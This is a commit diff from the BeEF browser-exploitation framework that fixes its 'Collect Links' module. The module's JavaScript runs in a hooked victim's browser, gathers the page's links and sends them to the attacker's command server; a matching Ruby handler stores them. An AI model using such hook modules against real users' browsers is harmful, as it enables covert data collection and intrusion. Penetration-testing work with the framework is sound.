Fixed Collect Links module aka Get Page HREFs

URLs are returned now and wrap instead of overflowing

Fixes issue 412
This commit is contained in:
bcoles
2011-11-24 22:25:34 +10:30
parent c37db1e364
commit 71c685d078
2 changed files with 16 additions and 16 deletions

View File

@@ -13,9 +13,9 @@
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
beef.net.send("<%= @command_url %>", <%= @command_id %>, beef.dom.getLinks());
});
beef.execute(function() {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "links="+beef.dom.getLinks());
});

View File

@@ -13,13 +13,13 @@
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Collect_links < BeEF::Core::Command
def post_execute
content = {}
content['Links'] = @datastore['links']
save content
end
end
class Collect_links < BeEF::Core::Command
def post_execute
content = {}
content['links'] = @datastore['links']
save content
end
end